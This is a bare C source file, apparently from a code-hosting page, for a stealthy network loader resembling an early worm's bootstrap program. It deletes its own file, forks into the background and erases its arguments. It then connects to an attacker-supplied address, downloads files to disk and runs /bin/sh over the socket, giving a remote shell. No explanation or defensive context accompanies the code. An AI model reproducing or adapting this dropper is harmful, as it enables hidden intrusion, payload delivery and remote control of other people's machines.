101 lines
1.5 KiB
C
101 lines
1.5 KiB
C
#include <stdio.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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main(argc, argv)
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char *argv[];
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{
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struct sockaddr_in sin;
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int s, i, magic, nfiles, j, len, n;
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FILE *fp;
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char files[20][128];
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char buf[2048], *p;
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unlink(argv[0]);
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if(argc != 4)
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exit(1);
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for(i = 0; i < 32; i++)
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close(i);
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i = fork();
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if(i < 0)
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exit(1);
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if(i > 0)
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exit(0);
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bzero(&sin, sizeof(sin));
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sin.sin_family = AF_INET;
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sin.sin_addr.s_addr = inet_addr(argv[1]);
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sin.sin_port = htons(atoi(argv[2]));
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magic = htonl(atoi(argv[3]));
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for(i = 0; i < argc; i++)
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for(j = 0; argv[i][j]; j++)
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argv[i][j] = '\0';
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s = socket(AF_INET, SOCK_STREAM, 0);
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if(connect(s, &sin, sizeof(sin)) < 0){
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perror("l1 connect");
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exit(1);
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}
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dup2(s, 1);
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dup2(s, 2);
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write(s, &magic, 4);
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nfiles = 0;
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while(1){
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if(xread(s, &len, 4) != 4)
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goto bad;
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len = ntohl(len);
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if(len == -1)
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break;
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if(xread(s, &(files[nfiles][0]), 128) != 128)
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goto bad;
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unlink(files[nfiles]);
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fp = fopen(files[nfiles], "w");
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if(fp == 0)
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goto bad;
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nfiles++;
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while(len > 0){
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n = sizeof(buf);
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if(n > len)
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n = len;
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n = read(s, buf, n);
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if(n <= 0)
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goto bad;
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if(fwrite(buf, 1, n, fp) != n)
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goto bad;
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len -= n;
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}
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fclose(fp);
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}
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execl("/bin/sh", "sh", 0);
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bad:
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for(i = 0; i < nfiles; i++)
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unlink(files[i]);
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exit(1);
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}
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static
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xread(fd, buf, n)
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char *buf;
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{
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int cc, n1;
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n1 = 0;
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while(n1 < n){
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cc = read(fd, buf, n - n1);
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if(cc <= 0)
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return(cc);
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buf += cc;
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n1 += cc;
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}
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return(n1);
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}
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int zz;
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